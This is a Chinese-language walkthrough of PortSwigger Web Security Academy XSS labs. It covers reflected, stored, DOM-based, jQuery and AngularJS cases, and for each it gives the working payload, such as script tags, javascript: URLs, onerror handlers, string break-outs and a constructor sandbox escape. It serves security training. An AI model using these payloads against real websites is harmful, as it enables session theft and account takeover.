APPRENTICE
1. 将 XSS 反射到 HTML 上下文中,没有编码
XSS payload,自是无需多言
1 | <script>alert(1)</script> |
2. 将 XSS 存储到 HTML 上下文中,没有任何编码
存储型的 XSS 在留言区
3. 文档中的 DOM XSS.使用 source location.search 编写接收器
在搜索查询功能中有基于 DOM 的跨站点脚本漏洞
在搜索框输入"第三个",可以发现,输入的词被放到了 JavaScript 代码中的 img 标签的 src 属性中,插入 XSS 代码的话需要先闭合,使用"> `,分别闭合 img 标签和 src 属性
1 | // 在页面输入"第三个" |
1 | // 源代码 |
/202410062109659.png)
/202410062109317.png)
4. 使用 source location.search in innerHTML sink 中的 DOM XSS。
1 | // 在页面输入"第四个" |
/202410062109893.png)
/202410062109053.png)
/202410062109301.png)
5. 使用 location.search source 在 jQuery 锚点 href 属性接收器中的 DOM XSS
Href 不仅可以跳转路径,也可以放入 JS 代码
1 | https://0a0000b103823255c2ce2cd0003e00a5.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie) |
/202410062109137.png)
/202410062109120.png)
6. 在 jQuery 选择器中使用 hashchange 事件的 DOM 型 XSS
HTML 内联框架元素 (<iframe>) ,它能够将另一个 HTML 页面嵌入到当前页面中。
1 | https://0a99009f0458a280c12dc1a500730025.web-security-academy.net/#<img src=1 onerror=alert(1)> |
1 | // 源代码 |
/202410062109129.png)
/202410062109758.png)
7. 带尖括号编码的反射型 XSS
尖括号被编码,但是引号没有,在搜索框输入内容后,发现输入的内容展示在了 input 标签的 value 属性中。
onmouseover 属性在鼠标指针移至元素之上时触发,几乎可使用于所有 HTML 元素,也就不限于搜索框input
/202410062109076.png)
/202410062109382.png)
8. 将 XSS 存储到带有双引号 HTML 编码的锚点 href 属性中
评论中输入的内容会成为 a 标签 herf 属性的值
/202410062110611.png)
/202410062110944.png)
9. 将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中
输入ABC 发现是出现在了 script 标签中,尝试闭合弹出
1 | var searchTerms = 'ABC'; |
构造 Payload';alert(9);//
/202410062110690.png)
/202410062110253.png)
PRACTITIONER
10. 文档中的 DOM XSS.使用源位置编写接收器.在选择元素内搜索
注入&storeId=<script>alert()</script>
1 | var stores = ["London","Paris","Milan"]; |
/202410062110089.png)
/202410062110060.png)
11. AngularJS 表达式中的 DOM XSS,带有尖括号和双引号HTML 编码
Angular 是一个前端框架,{{ ... }} 里头其实就是一个模板表达式,Angular 会对其进行求值并转化为字符串输出。可以放入 JavaScript 脚本
[PayloadsAllTheThings-Github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/XSS in Angular.md)
注入:{{constructor.constructor('alert(1)')()}}
Constructor 是一个构造函数
/202410062110769.png)
12. 反射式 DOM XSS
/202410062110416.png)
/202410062110059.png)
/202410062110312.png)
13. 存储型 XSS
replace(),如果第一个参数是字符串,则仅替换第一个匹配项
1 | function escapeHTML(html) { |
/202410062110124.png)
/202410062110332.png)